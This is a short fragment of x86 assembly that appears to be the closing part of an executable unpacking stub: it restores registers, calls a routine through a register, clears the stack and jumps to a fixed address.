lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xc1627b
sub esp, 0xffffff80
jmp 0x4f8d76